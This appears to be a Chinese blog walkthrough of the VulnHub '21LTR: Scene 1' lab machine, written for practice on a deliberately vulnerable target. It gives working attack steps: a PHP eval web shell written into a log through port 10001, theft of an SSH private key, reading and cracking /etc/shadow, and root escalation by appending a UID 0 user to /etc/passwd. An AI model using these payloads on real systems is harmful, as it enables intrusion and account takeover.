【vulnhub】Hack the 21LTR: Scene 1 靶机

信息收集

靶机发现

端口开放了21、22、80

目录扫描

访问页面,查看源码的时候发现了一个账号密码

获取shell

尝试ssh连接没成功,但是ftp连接成功了,ls查看,发现只有一个文件

下载下来

复制代码
get backup_log.php /home/kali/Desktop/1.php
cat 1.php

尝试拼接到刚才目录扫描的目录的logs目录下,发现可以访问到日志文件/logs/backup_log.php

尝试在日志文件写入木马,参考了一下其他文档,需要利用10001端口

复制代码
telnet 192.168.2.120 10001
 
<?php @eval($_REQUEST['cmd']);?>

蚁剑连接

蚁剑连接后,可以查看一下敏感文件

因为有ssh服务,就读取一下密钥

/media/USB_1/Stuff/Keys/id_rsa

赋予权限,然后ssh登录

复制代码
chmod 600 id_rsa
 
ssh -i id_rsa hbeale@192.168.2.120

在~/.ssh目录下添加config
cd ~/.ssh
vim config
 
Host *
    HostKeyAlgorithms +ssh-rsa
 
 
 
 
要是有这个报错的话(sign_and_send_pubkey: no mutual signature supported)
将一下内容写入config
cd ~/.ssh
vim config
echo "PubkeyAcceptedKeyTypes +ssh-rsa" >> config

连接成功

提权

可以通过cat提权,所以可以看/etc/shadow文件,或者写入文件,选择读取shadow文件,破解密码

然后将root用户的密码写入1.txt,然后开始破解,但是连接的时候,还是连接不上,应该是配置原因,那么只能写入高权限用户了

复制代码
cd /usr/share/wordlists
 
vim 1.txt 
 
john --wordlist=rockyou.txt 1.txt 

命令生成密码

然后依据/etc/passwd文件的格式写一个aroot用户

复制代码
sudo /usr/bin/cat >> /etc/passwd
aroot:$1$J1DRKiec$c6CXi9UUFTMKwHS6lk3bI1:0:0:/root:/bin/bash

提权成功

相关推荐
网络研究院8 分钟前
工业网络安全:保护制造系统和数据
网络·安全·系统·数据·工业·保护
Xasxxs31 分钟前
【网络安全】XSS漏洞——PortSwigger靶场-DOM破坏
javascript·安全·web安全·xss
岛屿旅人1 小时前
欧盟《人工智能法案》生效一年主要实施进展概览(二)
网络·人工智能·安全·web安全·架构
wanhengidc2 小时前
云手机的未来发展怎么样?
运维·安全·游戏·智能手机
winkel_wang14 小时前
身份管理与安全 (Protect identities)
windows·安全
司徒轩宇15 小时前
Python secrets模块:安全随机数生成的最佳实践
运维·python·安全
会飞的鱼_12316 小时前
CentOS 7服务器初始化全攻略:从基础配置到安全加固
服务器·安全·centos
YJlio17 小时前
第17章|PowerShell 安全警报——高分学习笔记(运维实战向)
笔记·学习·安全
wanhengidc18 小时前
云手机会占用本地手机内存吗?
运维·服务器·网络·安全·智能手机
Johny_Zhao21 小时前
Conda、Anaconda、Miniconda对比分析
linux·网络安全·信息安全·kubernetes·云计算·conda·shell·containerd·anaconda·yum源·系统运维·miniconda